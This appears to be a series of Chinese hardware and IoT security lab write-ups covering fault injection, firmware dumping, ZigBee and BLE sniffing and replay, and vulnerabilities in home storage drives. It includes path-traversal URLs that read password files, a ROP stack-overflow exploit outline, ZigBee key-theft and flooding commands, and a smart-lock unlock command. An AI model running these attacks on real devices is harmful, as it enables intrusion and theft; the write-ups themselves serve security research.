ChipSHOUTER是 Colin 在NewAE Technology设计的高端电磁故障注入 (EMFI) 工具。它虽然不是第一个商业上可用的 EMFI 工具,却是第一个比较容易买到的工具,尽管其具备大量的开放文档,但高昂的价格仍然让很多人望而却步。
PicoEMP 填补了ChipSHOUTER 在低端领域留下的空白,是相较于 ChipSHOUTER 工具的一个稍微温和的版本。该工具的设计优化集中在:安全性、成本、可用性、性能,这四个方面。尽管降低了成本,但效果却出奇地好。
借助 PicoEMP ,任何人都可以使用电磁脉冲诱发可利用的硬件故障。
在安全防护罩下面是这样的:
不过,它也不是作为一个完整的产品出售,在制作和控制它的情况下使用PicoEMP需完全了解其操作和风险。
PicoEMP 使用 Raspberry Pi Pico 作为控制器,灵感来自 @nezza,使用它作为 debug-n-dump 工具。你也可以选择使用 Arduino 或其他微控制器。你基本上只需要几样东西:
PWM 输出驱动高压变压器。
脉冲引脚产生脉冲。
用于监控高压(HV) 状态的状态引脚。
PicoEMP 的一般用法如下:
按下“ARM” 按钮。红色的“ARMING”指示灯会立即亮起,告诉你它正在尝试为高压充电。
几秒钟后,红色的“HV”指示灯会亮起,表示已充电至“某个电压”。
将探头尖端放在目标上方。
按下“Pulse”按钮。
大多数 EMFI 工具会产生高压(类似于相机闪光灯)。以前的许多开源 EMFI 工具的设计都能很好地工作,但是使用户暴露在高电压下。如果你正确使用这个工具,这是很好的,但是当然总是存在抓住电“热”工具的风险!之所以会出现这种常见的设计,是因为设计 EMFI 工具的最简单方法是使用“低端开关”。对于低端开关,输出连接器总是“热”的,这会带来严重的电击危险。
PicoEMP 通过浮动高压侧来解决这个问题,这意味着 EMFI 探头输出和输入电压接地之间没有电路。通过隔离的高压输出,我们可以安全地使用简单的“低侧开关”。由于高频尖峰,一些电流仍然会流动,虽然不完美,但它在实践中效果很好。
这里需要注意的是,要使其正常工作,你还需要隔离栅极驱动器。对此有多种解决方案,最简单的是栅极驱动变压器 (GDT)。 PicoEMP 使用变压器架构,并进行了一些简化以进一步减少 BOM 数量。
型号:Rasperry Pi 2B
镜像:Raspberry Pi OS (32-Bit), Released 2021-10-30
测试源码:rpi-glitching
对于 Rasperry Pi 2B 的故障注入攻击简单示例,使用例程是glitchloop.c
1 | #include <stdio.h> |
在签名操作期间插入故障,利用错误的 rsa 签名操作来恢复私钥。我们将使用 pycryptodome,但使用的是一个旧版本(pycryptodome3.1),因为当前的版本有故障保护。保护是进行验证,即生成的签名验证OK,但是你可以通过更有针对性的故障注入攻击绕过它。
要运行 rsaglitch.py,需要安装 pycryptodome 3.1 和一个加速库来执行因数分解。这可以通过以下方式完成:
1 | pip install pycryptodome==3.1 |
在各开发板刷入 Glitch 循环例程固件,针对芯片发起故障注入攻击。
MCU:STM32F407ZGT6
MCU:ATMEGA328P-PU
Tigard 是一款基于 FT2232H 芯片的多协议、多电压的开源硬件黑客工具。通过结合常用的引脚、带标签的线束、板载电平转换和逻辑分析仪进行连接,它专为连接到目标硬件上的低速接口并与之通信而设计。
Tigard 对所有最常用的接口以及功能的支持结合到一个简单的板上。作为数十种基于 FTDI 芯片的其他硬件工具的直接替代品,它原生支持许多常用硬件工具,如 OpenOCD、FlashROM 等。
Tigard 支持 20% 的功能,这些功能支持 80% 的常见硬件黑客任务,这些任务涉及使用各种协议,这些任务涉及到使用不同的协议。无论是刚入门的硬件黑客,还是只需要一个快速简单的解决方案,Tigard 都可以作为首选。
文档和硬件文件可以在 Tigard GitHub 存储库中找到。
总的来说,Tigard 已经支持 x232H 系列芯片的多个工具和库。包括:
由于与众多工具的直接兼容性,Tigard 特定工具无需与任何目标交互。如果你确实需要使用Tigard自定义工具或脚本,它应该可以与任何其他 FT2232H 接口板配合使用。
UART 有4个pin(VCC, GND , RX, TX), 用的TTL电平, 低电平为0(0V)、高电平为1(3.3V或以上),由于路由器不需要供电,在通电情况下,VCC 口可以不接。判断 GND , RX, TX 后,需要注意的是,在 TTL 电平模式下,UART 转换接口上的 RX、TX 口与路由器设备的 UART 口的RX和TX是需要反接的。
将 Tigard 的 VTGT 开关设置为5v, VTGT led 灯呈蓝色。
Tigard 通过 type-c 口连接到计算机后,出现了两个 COM 端口,选择第一个(COM5)。
选择COM5端口并设置波特率。
成功与路由器进行交互。
标准的 SPI/I2C 标头的方向与标准的8针 SPI 闪存芯片上的引脚相同,另一端使用夹子连接路由器的芯片。
在模式选择开关上选择 SPI/JTAG。先将路由器断开电源,可以使用 Tigard 进行供电,将 VTGT 拨到3.3v即可。
将 Tigard 通过 type-c 接口连接树莓派后,使用dmesg
命令可以看到 Tigard 设备。
Flashrom 是 SPI 闪存转储常用的工具。可以看到成功找到 flash 芯片并转储 4096kB 。
time flashrom -p ft2232_spi:type=2232H,port=B,divisor=4 -r chip.bin
利用 binwalk 工具对 dump 出来的固件进行解包提取文件系统。
JTAG 的引脚排列顺序与 FTDI I/O 引脚标记的顺序相同,以便与其他 x232H 分线板保持一致。CORTEX 接头也作为标准 ARM 10 针 JTAG 接头进行接线。在模式选择开关上选择 JTAG,这确保 TDI 和 TDO 是分开的,如果使用 SWD,则模式开关选择SWD,将 DI 和 DO 引脚与电阻器 R16 连接以形成双向 SWDIO 引脚,详细用法查看Github文档说明。
配合 OpenOCD 工具,用于 ARM、 MIPS 和其他体系结构的片上调试。配置文件tigard-jtag.cfg
:
1 | interface ftdi |
利用 OpenOCD 读取固件
将读取的固件,使用 IDA 分析
https://www.crowdsupply.com/securinghw/tigard
https://github.com/tigard-tools/tigard
https://iot-security.wiki/hardware-security/debug/serial-port.html
]]>ZigBee是一种无线通信网络标准,广泛用于IoT设备中,这些设备专为低数据传输率的低功耗使用场景而设计。 ZigBee协议可用于多种设置,包括智能家居,楼宇自动化,工业控制设备(ICS),智能医疗保健等。ZigBee联盟是一个由多家公司组织联合而成的协会,它为低功耗无线物联网(IoT)创建、维护和提供了开放的全球标准。所以,这也允许各种ZigBee设备相互交互。例如,给定制造商的启用ZigBee的智能插座可以与其他制造商的ZigBee智能灯泡进行通信。
ZigBee网络可以具有各种设备,如:
终端设备大多数时候都处于睡眠状态以节省功耗,并且仅在读取或写入请求时才唤醒。在讨论ZigBee网络中的基本概念时,还必须了解ZigBee中的寻址模式,这一点很重要。 ZigBee设备将具有两个地址-一个来自802.15标准,这是一个全球唯一的64位数字,一个是16位的NWK地址。
要与设备通信,寻址需要包含三个信息部分:
但是,要发送广播,所有设备所需要做的就是将广播数据包发送到地址0xFFFF,ZigBee网络上存在的所有设备都将接收该数据包。
ZigBee设备中总共使用了16个信道,因此,当我们研究ZigBee设备通信时,我们首先需要弄清楚该设备在哪个信道上运行,然后在该特定信道上捕获ZigBee数据包。
CC2530是TI公司开发的一款专门用于无线传感器网络中进行数据传输的集成芯片,可以用于2.4-GHz IEEE802.15.4、ZigBee 和RF4CE 应用的一个真正的SoC解决方案。
硬件:
基于CC2530模块的ZigBee开发板,CC-DEBUGGER编程器:
软件:
Smartrf Flash Programmer,IAREmbedded Workbench IDE,CH340 驱动,CC-DEBUGGER 驱动
通过IAR打开开发代码,使用CC-DEBUGGER 连接开发板,选择 CoodinatorEB(作为协调器) , 下载到开发板 A(协调器), 如:
接下来选择 EndDeviceEB(终端) , 下载到开发板 B,如:
在继电器的位置接在上个小灯, 通过协调器的 key1 去控制这个小灯的状态变化;
注:协调器(左),终端设备(右)
也可以协调器连接PC串口工具,发送 on 或者 off 可以实现开灯和关灯
现在,我们搭建好了ZigBee测试环境,作为下一步的攻击目标。为此,我们使用KillBee的测试框架工具,killerBee框架的安装及使用在上一章做了简单的介绍,这是RiverLoop Security开发的开源工具,用于帮助评估和利用基于ZigBee的设备。 。
KillerBee支持多种硬件设备,例如Atmel RzRaven USB Stick,APIMote,MoteIV Tmote Sky,TelosB mote和Sewino Sniffer。与之前不同使用的APIMote,现在我们使用Atmel RzRaven USB记忆棒,如图所示。
在开始使用KillerBee和Rz USBstick评估基于ZigBee的设备之前,第一步是使用AVR Dragon over JTAG接口将KillerBee固件写入到Rz USBstick上。
可以通过运行 sudo zbid
来验证固件,并列出设备。
如果使用的是APIMote而不是Rz USBstick,则会看到该设备列为GoodFET,如图所示,而不是KillBee。
ZigBee安全评估的下一步就是确定目标设备的通道。
可以使用KillerBee框架中名为zbstumbler的工具来完成嗅探操作,使用–v参数运行zbstumbler以确保收到详细消息,例如在某些情况下,当zbstumbler检测到的数据包格式不正确时,如果没有详细标志,它将不会在终端上显示。运行zbstumbler时查找关键字Received Frame,如图中看到的,在这种情况下,我们已经在11信道上确定了ZigBee协调器设备。
zbstumble也可以以日志信息方式显示所发现的网络信息,并且可使用-w
参数将发现的网络信息记录到CSV文件中:
通过zbstumble发现ZigBee网络,这一技术被用于ZigBee设备本身,当一个新的设备(ZigBee协调器或ZigBee路由器)建立完毕后,它会发送一个“信标请求帧”来通知其它ZigBee网络,以避免个域网标识符PANID的冲突。由于“信标请求”机制对于ZigBee来说是不可或缺的,所以无法禁用,所以攻击者能够这一技术进行ZigBee网络发现。
对于网络发现以及定位,KillerBee还包含一个 GUI 程序zbfind,通过zbfind,当这些设备都在范围内向外发送信息,我们就可以识别出周围的IEEE 802.15.4设备。
使用 sudo zbfind -c 11选择11信道,捕获到ZigBee设备,选中设备后就会显示有关这个设备更详细的信息,以观察该设备活动时第一次和最后一次捕获到该设备数据包的时间。在左边仪表盘处还会显示最后一次接收到数据包时接收到对方发送信号的强度,再根据信号的强弱,对设备进行跟踪,直到最大信号。
我们接下来使用KillerBee嗅探两块开发板(协调器和终端设备)通讯的数据包。
我们可以使用zbwireshark并通过指定要捕获数据包的信道(-c
或-f
参数指定信道为11)来主动嗅探它们,而不是将数据包捕获到转储文件中。
如图,我们可以通过ZigBee设备的信道,并嗅探该通道上的数据包,从而揭示了我们的明文流量。
我们还可以通过zbdump捕获数据包,并以pcap和DainTree文件格式保存。
KillerBee可以做的另一件有趣的事情是执行基于重播的攻击。
为了执行此捕获,我们使用Attify ZigBee框架,这是在KillerBee之上构建的GUI工具箱。然后需要指定要执行捕获的通道,要捕获的数据包数量以及需要存储数据包的文件名,如图所示。
在嗅探期间,首先,我们需要在协调器连接PC端串口工具中,对终端设备进行操作,例如控制小灯的亮灭。
现在我们捕获了数据包,下一步就是简单地重播数据包。
当我们重放数据包时,会看到灯泡受到控制,而且无需任何用户交互。
一个“重播攻击”的有效性,很大程度上取决于作为被攻击设备的软硬设计时采用的实现方式,通常情况下,“重播攻击”所针对的是未加密的网络,或者是已经指定“加密密钥”的网络。
KillerBee还集成了Philippe Biondi开发的数据包嗅探的开发框架类交互程序Scapy,经过开发人员集成对ZigBee协议的支持,所以KillerBee提供了zbscapy工具,该工具可以进行嗅探和伪造ZigBee协议以及IEEE 802.15.4 协议数据包。
使用ls()命令可以列出可用函数,其中很多介质访问控制层的附加函数都是以Dot15d4()作为前缀。
zbscapy使用killerbee_channel配置项指定信道,下面使用zbstumbler工具的功能,即手工发送一个IEEE 802.15.4 协议信标请求帧,通过Dot15d4Cmd()函数进行数据包填充,然后将该数据帧指定为信标请求命令类型,最后通过调用kbsendp()函数发送这个数据包。
除了伪造数据包,还可以接收数据包,同时进行后续处理。前面的情况下,通过发送信标请求数据帧,对接收到的数据包并不会显示任何信息。下面修改脚本进行发送数据,同时接收数据包。
我们伪造了一个有效的数据帧,数据帧类型是信标请求,指定地址0xffff(广播地址),使用另一个函数kbsrp1()进行发送,该函数区别在于,发该数据帧会进入等待,直到得到一个网络的响应数据包才返回(终端设备地址0x599a)。
除了数据包注入外,还可以通过kbsniff()函数进行数据包嗅探。
除了KillerBee框架的套件之外,zbscapy是一个非常强大的工具,最大的特点就是可以自行使用脚本开发,灵活运用。具体到攻击,很多ZigBee和IEEE 802.15.4产品设备经过部署,想要完成对其成功攻击还需要额外的实验。
]]>KillerBee是针对ZigBee和IEEE 802.15.4网络的框架和安全研究工具。
KillerBee目前仅支持Linux系统。在安装之前必须安装以下Python模块。在Ubuntu系统上,可以使用以下命令安装所需的依赖项:
1 | # apt-get install python-gtk2 python-cairo python-usb python-crypto python-serial python-dev libgcrypt-dev |
KillerBee 使用标准的Python “setup.py” 安装文件。使用以下命令安装KillerBee:
1 | # python setup.py install |
KillerBee代码的目录结构描述如下:
KillerBee框架目前支持多款设备,包括River Loop ApiMote、Atmel RZ RAVEN无线电收发器、MoteIVTmote Sky、TelosB mote、Sewino嗅探器和运行Silicon Labs Node Test固件的各种硬件。
KillerBee包括多种工具,用于攻击使用KillerBee框架构建的ZigBee和IEEE 802.15.4网络。通过“ -h”参数可以查看详细的使用说明,在下面进行了概述。
KillerBee主要用于针对数据包捕获文件(libpcap或Daintree SNA)中嗅探数据包的过程,并用于注入任意数据包。包括IEEE 802.15.4,ZigBee NWK和ZigBee APS数据包解码器在内的辅助功能也可用。
KillerBee API以epydoc格式记录,此发行版的doc/目录中包含HTML文档。如果已安装epydoc,则还可以根据需要生成一个方便的PDF进行打印,如下所示:
1 | $ cd killerbee |
pdf/ 目录将包含一个名为“api.pdf”的文件,其中包括框架文档。
由于KillerBee是一个Python库,因此它集成了其他Python软件。例如,Sulley库是由Pedram Amini用Python编写的模糊测试框架。KillerBee框架使用它来数据包注入功能,用于生成格式不正确的ZigBee数据并将其传输到目标。
搭建ZigBee协议通信的智能灯泡系统,一共四个终端设备(RGB灯,分为1、2、3、4号)以及ZigBee协调器用于与每个终端设备(灯)网络通信。
在树莓派环境下,根据前面的介绍安装好KillerBee框架以后,下面开始用手上的ApiMote硬件设备进行ZigBee流量的分析测试。
ApiMote连接树莓派以后,会自动检测到ApiMote(ID 0403:6015)并加载驱动程序。
1 | root@raspberrypi:/home/pi/Desktop# lsusb |
ApiMote通常会预装好固件,不需要重新刷写。若需要刷写固件,步骤如下:
在 firware/ 目录下包含多种设备的固件,选择ApiMote的固件apimotev4_202011.hex
运行flash_apimote.sh
脚本,如果第一次不同步而超时,有时可能需要两次尝试才能正确闪烁。
可以通过运行 sudo zbid
来验证固件,并列出设备。
1 | root@raspberrypi:/home/pi/Desktop# zbid |
zbwireshark允许用户在Wireshark中实时嗅探和查看ZigBee流量。该工具创建一个管道,Wireshark然后从中读取数据,并实时显示出来。
1 | root@raspberrypi:/home/pi/Desktop# zbwireshark -f 15 |
-f 参数指定第 15 信道。
也可以使用 zbdump 以pcap和DainTree格式嗅探并保存数据包。这里我们以pcap格式,以便使用wireshark打开分析协议,下面运行zbdump,同样使用 -f 指定信道。
1 | root@raspberrypi:/home/pi/Desktop# zbdump -f 15 -w test.pcap |
使用wireshark打开捕获的数据包
数据包中,捕获的源和目的地址被分配了网络ID,例如
PAN ID :0xd85b
0x0000 通常是协调器。
通过捕获设备的数据包,然后将该流量进行重播回设备。
zbdump刚刚使用过此工具将流量保存到数据包文件中,接下来使用zbreply工具,将从zbdump获取的pcap文件,通过ApiMote对其重播。
-f 参数指定信道,-w 参数指定用于写入捕获的数据包的pcap文件,-r指定用于读取捕获的数据包的pcap文件。
1 | root@raspberrypi:/home/pi/Desktop# zbdump -f 15 -w operating.pcap |
zbdsniff 工具可以从ZigBee网络抓取的流量数据包pcap文件中发现明文的密钥key,并返回key。
1 | root@raspberrypi:/home/pi/Desktop# zbdsniff -f operating.pcap -k c028128de295be0708aebe9eed |
但是我没有从文件中得到任何输出,可能没有找到可用的key。
zbkey 与 zbdsniff 目的相似,不同的是 zbkey 会向协调器发送连接,然后发送数据请求来检索获取密钥,而不是扫描pcap文件。-f 参数指定信道,-s 定时,-p 参数指定 PAN ID,-a 参数指定ZigBee硬件地址。但是没有返回成功。
1 | root@raspberrypi:/home/pi/Desktop# zbkey -f 15 -s 0.1 -p d85b -a 00124b0022305e4b |
KillerBee 框架提供了 zbassocflood工具,该工具尝试将大量关联请求发送到目标网络。需要PAN ID(-p),信道(-c)和定时(-s)。
1 | root@raspberrypi:/home/pi/Desktop# zbassocflood -p d85b -c 15 -s 0.1 |
KillerBee的攻击方式大致分为,发现设备(zbstumbler、zbopenear、zbfind),嗅探流量(zbdump、zbwireshark),获取密钥(zbdsniff、zbkey、zbgoodfind),重放流量(zbscapy、zbreplay),拒绝服务(zbscapy、zbassocflood)。
]]>智能设备的加密安全篇
这是一款带网口的家庭存储硬盘,可以通过手机 app 进行远程管理。
这款硬盘使用 TUTK IOTC 平台进行 p2p 通信。接上网线后,只需要在客户端输入设备的 UID 和管理员设置的密码,就可以远程连接管理硬盘数据。TUTK IOTC平台的 p2p 建立连接后,设备向客户端发送数据的流程图如下,首先初始化 iotc 平台,随后创建 login 线程,监听客户端的连接,会话建立后,向客户端发送数据。
而作为设备与客户端通信的进程为 p2pIotc,拖到 ida 中分析,sub_402E64 函数通过读取 /etc/config/tunnelid.dat 文件来得到设备的 UID,在函数 sub_402AF8 读取 /etc/web_pwd.txt 文件得到管理密码,用来用户登入验证。
这款硬盘还设立了隐私空间,也就是加密文件夹,加密文件后将文件移动到加密目录下。当通过app客户端成功登录硬盘时,首先 fs_httpd 进程会读取配置文件“/etc/private_dir_pwd“中的保存隐私空间的密码,用于之后打开隐私空间作密码校验。但是通过在web客户端或网络文件夹登录时访问这个隐私空间时,却形同虚设,与普通文件夹无区别。
在 /www/cgi-bin/get/ 目录下,其中有个 getFile.cgi 的 cgi 网关接口文件,在没有登入验证的情况下,内网中可直接下载硬盘的任意文件,代码如下
在同内网中,在web浏览器中访问设备:
http://192.168.8.177/cgi-bin/get/getFile.cgi?/../../../../../../../../../etc/config/tunnelid.dat
http://192.168.8.177/cgi-bin/get/getFile.cgi?/../../../../../../../../../etc/web_pwd.txt
http://192.168.8.177/cgi-bin/get/getFile.cgi?/../../../../../../../../../etc/private_dir_pwd
可直接下载配置文件 tunnelid.dat 、web_pwd.txt 和 private_dir_pwd ,用于远程登入。
这是一款可连接 wifi 且带网口的移动加密硬盘,手机可以通过 app 进行远程管理,还可以通过 app 单独设置密码加密隐私文件。
下载智能硬盘手机 app,登录 app 远程连接硬盘,通过路由器进行抓包,发现其由 80 端口与手机 app 通信。
通过串口调试进入 shell,运行 netstat 命令查看系统端口进程,其中 80 端口进程为 lighttpd。分析后找到其位于/etc/lighttpd/ 目录下的配置文件 lighttpd.conf,如图 3 可以看到其中 include 包含了当前 conf.d/ 目录下的 proxy.conf 文件。
将 proxy.conf 文件的代理服务整理如下:
url | port | 进程 | 描述 |
---|---|---|---|
protocol.csp | 81 | ioos | App 交互 |
system.csp | 81 | ioos | 系统 |
netip.csp | 81 | ioos | |
sysfirm.csp | 81 | ioos | |
index.csp | 81 | ioos | |
dldlink.csp | 81 | ioos | |
error.csp | 81 | ioos | |
upload.csp | 9082 | 上传 | |
dlna.csp | 8200 | minidlna | DLNA共享 |
control.csp | 8201 | control | 视频音频控制 |
dropbox.csp | 8300 | dropbox云存储 | |
baidupcs.csp | 8400 | baidupcs | 百度网盘 |
p2p.csp | 8212 | p2p远程通信 | |
download.csp | 82 | 下载 | |
vpn.csp | 8500 | vpn |
将 baidupcs(百度网盘)作为测试目标,使用fuzz测试登录网盘发现了 crash。
baidupcs 进程打印出如下信息,最终出现了 Segmentation fault 错误
打开 ida,搜索上面打印的调试信息的关键字,如 getvaluefrom_url。
关键代码 sub_43B230 如下,0x43b5dc 处调用 get_value_from_url 函数获取 username 的值时,由于缓冲区只有 1028 字节, 在对长度未进行检查的情况下,将获取username值直接放入缓存区造成溢出。
我们需要跳转到堆栈中执行 shellcode,结合 mipsrop ida 插件,现在开始构造 rop
先修改寄存器的值
mipsrop.find(“lw $ra, “) 修改寄存器
找到 sleep 函数的参数
mipsrop.find(“li $a0,1”) 作为 sleep 的参数 $a0 赋值,其中 $s4 做为下一个 gadget 的地址
调用 sleep 函数
接着调用 sleep 函数刷新缓存,并在返回后执行下一个 gadget ($ra)。使用 mipsrop.tail(),准备跳转 $s1 为 sleep 的地址,这里填充 ra 寄存器,地址 0x1E8AC 执行 0x28 + var_4($sp) 是将执行后 sleep 返回的地址。
运行 shellcode
使用 mipsrop.stackfinder() 将 shellcode 的地址放入寄存器 s0
mipsrop.find(“move $t9,$s0”) 跳转到 s0 去执行
1 | #!/usr/bin/env python |
漏洞存在的原因在于,调用 getvaluefrom_url 函数时,缺少对 username 等值进行长度检查校验,而直接写入缓冲区中,导致了栈溢出。通过漏洞攻击者可直接获取到远程管理的密码,进行登入操作。
使用手机 app 进行文件加解密,然后通过路由器抓取数据包,其加解密 url path为 protocol.csp,根据前面整理的表格,其使用的端口是 81 端口。接下来分析此时监听 81 端口的所属进程 ioos。
文件加密和解密数据包使用 wireshark 分析,再通过数据包的关键信息定位到加解密位置。
开始调试前,我们先查看一下加密前后的文件
创建一个 test.txt 文件,并写入内容: abc
通过硬盘 app 进行加密,key 为 123,加密后文件加上了 .enc
后缀,查看 /tmp/ioos.log 日志信息
查看 test.txt.enc 文件,其中尾部 202cb962ac59075b964b07152d234b70
是 test.txt 加密key 123 的 md5 值(0x20字节),而前面“fe2889d36e2045f4a3d362445aaaf72e”(0x20字节)接下代码中会遇到。
将编译 mipsel 架构 gdb 后生成的 gdbserver 拷贝到硬盘 /tmp 目录。
远程附加调试
在关键函数 sub_414260 处下断点,此函数参数一为解密文件路径,为解密key的md5值
比较成功后,调用 stat64 返回文件信息
判断文件字节数是否大于 2k (0x2000字节),若小于0x2000字节,则拷贝 md5 值的前 16 位
打开文件,判断文件大小是否小于 0x41,然后移动文件指针至 0x3 字节处,也就是密文(0x3字节)后面的内容处
strncmp 比较密文尾部前0x20字节是否为 “fe2889d36e2045f4a3d362445aaaf72e”,查看前面的.enc
文件可知,这正是 md5 值前面的 0x20 字节。紧接着比较 md5 值。
调用 ftruncate64 打开的解密文件截断到指定的长度(0x3)。
读取密文,然后调用解密函数 sub_404E28。
加解密函数 sub_404E28,首先建立 0x0 – 0xff 的数组,利用 md5 值前 16 位生成 0x100 位字节数组。
然后通过生成的字节数组对文件内容进行加密或解密。
将上面的加解密函数其转换为 c 语言代码。
1 |
|
根据 Ubertooth 的 wiki(https://github.com/greatscottgadgets/ubertooth/wiki/Build-Guide),在构建 libbtbb 和 Ubertooth 工具之前,需要先安装一些依赖。可以从操作系统的软件包存储库中找到许多这些文件,例如:
这里我是在树莓派(Debian / Ubuntu)下进行安装,根据个人的系统来执行相应的命令:
Debian / Ubuntu
1 | sudo apt-get install cmake libusb-1.0-0-dev make gcc g++ libbluetooth-dev \ |
Fedora / Red Hat
1 | su -c "yum install libusb1-devel make gcc wget tar bluez-libs-devel" |
接下来,需要为Ubertooth工具构建蓝牙基带库(libbtbb),以解码蓝牙数据包:
1 | wget https://github.com/greatscottgadgets/libbtbb/archive/2018-12-R1.tar.gz -O libbtbb-2018-12-R1.tar.gz |
Ubertooth存储库包含用于嗅探蓝牙数据包,配置Ubertooth和更新固件的主机代码。使用以下方法构建和安装的:
1 | wget https://github.com/greatscottgadgets/ubertooth/releases/download/2018-12-R1/ubertooth-2018-12-R1.tar.xz |
查看 Ubertooth one 固件版本
1 | $ sudo ubertooth-util -v // Ubertooth one 固件版本 |
Linux 用户: 如果是第一次安装,或者收到有关查找库的错误:
ubertooth-util: error while loading shared libraries: libubertooth.so.1: cannot open shared object file: No such file or directory
则应运行 sudo ldconfig:
1 | $ sudo ldconfig |
Wireshark版本1.12和更高版本默认包含Ubertooth BLE插件。只需做一些工作,就可以将Ubertooth中的BLE直接捕获到Wireshark中。
利用Wireshark BTBB和BR / EDR插件,可以在Wireshark GUI中分析和剖析使用Kismet捕获的蓝牙基带流量。它们与其余的Ubertooth和libbtbb软件分开构建。
传递给cmake的目录MAKE_INSTALL_LIBDIR
因系统而异,但应为现有Wireshark插件(例如asn1.so
和)的位置ethercat.so
。在macOS上,这是可能的/Applications/Wireshark.app/Contents/PlugIns/wireshark/
。
1 | sudo apt-get install wireshark wireshark-dev libwireshark-dev cmake |
然后为BT BR / EDR插件重复上述步骤:
1 | sudo apt-get install wireshark wireshark-dev libwireshark-dev cmake |
可以构建使用 Wireshark 在 Wireshark 中捕获BLE。
运行命令: mkfifo /tmp/pipe
1 | pi@raspberrypi:~/ubertooth $ mkfifo /tmp/pipe |
新建一个终端窗口,打开 Wireshark
单击捕获(Capture )->选项(Options)
点击窗口右侧的管理接口(Manage Interfaces)按钮
在管道(Pipe)文本框中,键入“ /tmp/pipe”
单击OK保存
点击“开始”
在终端中,运行ubertooth-btle
:
1 | ubertooth-btle -f -c /tmp/pipe |
在 Wireshark 窗口中,可以看到数据包滚动。
注意:如果碰到 User encapsulation not handled: DLT=147, check your Preferences->Protocols->DLT_USER 错误,如图
所需步骤是:
单击编辑(Edit)->首选项(Preferences)
单击协议(Protocols)-> DLT_USER
单击编辑(封装表)
点击加号(+)
在DLT下,选择“用户0(DLT = 147)”(如果错误消息显示的DLT号与147不同,请适当调整此选择)
在有效载荷协议下,输入:btle
点击OK
点击OK
现有一个BLE 设备的蓝牙锁,接下来使用 Ubertooth One 嗅探抓包,然后再数据重放。
在树莓派命令终端下(需加一个蓝牙适配器),输入hciconfig dev
查看电脑的当前适配器设备,输入sudo hciconfig hci0 up
激活蓝牙适配器。
激活蓝牙锁后,输入sudo hcitool lescan
搜索周围的蓝牙设备,搜索到设备后按CTRL + C
停止搜索,设备名称为smart lock
,是一个蓝牙串口设备,MAC地址74:e1:82:04:53:3f
。
获取到蓝牙锁的 MAC 地址后,我们可以指定嗅探 MAC 进行抓包,命令:
1 | ubertooth-btle -f -t 74:e1:82:04:53:3f -c /tmp/pipe |
Wireshark 的步骤和之前是一样的,选择管道接口/tmp/pipe
。准备完毕之后,我们先用手机连接蓝牙锁,正常开启一遍,随后 Wireshark 出现滚动的数据包 。
使用显示过滤器,可以显示仅连接请求和非零数据包:
1 | btle.data_header.length > 0 || btle.advertising_header.pdu_type == 0x05 |
仅属性读取响应,写入请求和通知,我们只关注写入请求的包,如下:
1 | btatt.opcode in { 0x0b 0x12 0x1b } |
现在一共抓到三个写入请求的包,其 Master Address 值为 68:df:dd:72:16:ee(小米手机蓝牙 MAC),Slave Address 为蓝牙锁 MAC。
抓到包后,使用 gatttool 与 BLE 设备蓝牙锁进行通讯。
输入命令gatttool -b 74:e1:82:04:53:3f -I
使用interactive方式连接设备。
help 打印帮助信息:
>connect 与BLE设备连接。
>primary 寻找BLE中可用的服务。
>characteristics 查看设备服务的特征值。
>char-read-hnd 0x0026 读取特征值对应句柄的数值。
>char-write-req 0x0029 55100144 发送55100144命令到句柄0x0029(控制挂锁开锁)
>sec-level high 设置安全等级为高,可以让手环长时间保持连接。
激活蓝牙锁之后,首先执行 connect 命令建立通讯,随后依次写入请求。
执行以上操作后,蓝牙锁开启成功。
python 脚本如下:
1 | #!/usr/bin/env python3 |
参考:
ubertooth – https://github.com/greatscottgadgets/ubertooth/wiki/Build-Guide
BG7YWL 重放破解蓝牙锁 – https://www.cnblogs.com/k1two2/p/5577301.html
YARD Stick One 是一款低于 1 GHz 以下的 USB 无线收发器,基于德州仪器(TI)CC1111。它与 IM-Me 相同的无线电电路。现在,当你通过 USB 将 YARD Stick One 连接到计算机时,可以轻松定制 IM-Me 固件的无线电功能。你可以将 YARD Stick One 用于进行各种遥控信号的重放,汽车遥控锁的安全研究等。主要性能规格如下:
YARD Stick One 带有 RfCat 安装的固件,由 atlas 提供。RfCat 允许从交互式 Python Shell 或计算机上运行的自己的程序控制无线收发器。YARD Stick One 还安装了CC Bootloader,因此你可以升级 RFCat 或安装自己的固件,而无需任何其他编程硬件。不包括天线。建议将ANT500 用作 YARD Stick One 的启动天线。
YARD Stick One 最初基于 ToorCon 14 Badge 设计,具有 CC1111 平台以前没有的几个功能:
有关文档和开源设计文件,请访问项目Wiki。
以下测试环境在 ubuntu 16.04 下搭建
软件工具:RFcat、Osmocom、Inspectrum
设备:
YARD Stick One (重放信号)
RTL-SDR 电视棒 (捕获信号)
无线门铃,使用 ASK/OOK 调制的 1GHz 以下信号运行的设备。芯片是 HS1527, 发射频率为 433Mhz 。
下载 rfcat 源码
1 | $ git clone https://github.com/atlas0fd00m/rfcat |
需要安装 python-usb,libusb-1.0.0,make 和 sdcc 依赖和库。
1 | $ sudo apt install python-usb libusb-1.0.0 make sdcc |
其中 PySide2 安装时可能会碰到 “ERROR: THESE PACKAGES DO NOT MATCH THE HASHES FROM THE REQUIREMENTS FILE. If you have updated the package versions, please update the hashes. Otherwise, examine the package contents carefully; someone may have tampered with them.”
可通过 wget 将 PySide2-5.15.1-5.15.1-cp27-cp27mu-manylinux1_x86_64.whl 下载到本地进行安装(pip install PySide2-5.15.1-5.15.1-cp27-cp27mu-manylinux1_x86_64.whl)。
当加密狗显示在操作系统上时,如果你是非ROOT用户则必须具有对加密狗的读/写访问权限,对于大多数 Linux 发行版,这意味着你必须是“ dialout”组的成员。
1 | $ sudo usermod -a -G sudo $USER |
还需要永久的符号链接到 USB 串行设备,以便在需要时与 CHRONOS,DONSDONGLE或 YARDSTICKONE 引导加载程序进行通信。
1 | $ sudo cp etc/udev/rules.d/20-rfcat.rules /etc/udev/rules.d |
安装客户端
1 | $ sudo python setup.py install |
运行时,启用频谱仪发生的错误
qt.qpa.plugin: Could not load the Qt platform plugin “xcb” in “” even though it was found.
This application failed to start because no Qt platform plugin could be initialized. Reinstalling the application may fix this problem.可根据 https://blog.csdn.net/zhanghm1995/article/details/106474505 提出的解决方案解决
1 | $ export QT_DEBUG_PLUGINS=1 |
安装以后可以使用 osmocom_fft 命令进行频率录制。
1 | $ sudo apt install gr-osmosdr |
运行后,界面如下
1 | $ osmocom_fft |
Inspectrum是一款分析无线信号的工具,基于Linux和OSX。它兼容GNURadio、Osmocom_fft还有各类SDR设备导出的IQ文件格式(例如RTL-SDR、HackRF、BladeRF),界面如下图。 安装 Inspectrum,可参考Wiki:https://github.com/miek/inspectrum/wiki/Build
1 | # 安装依赖 |
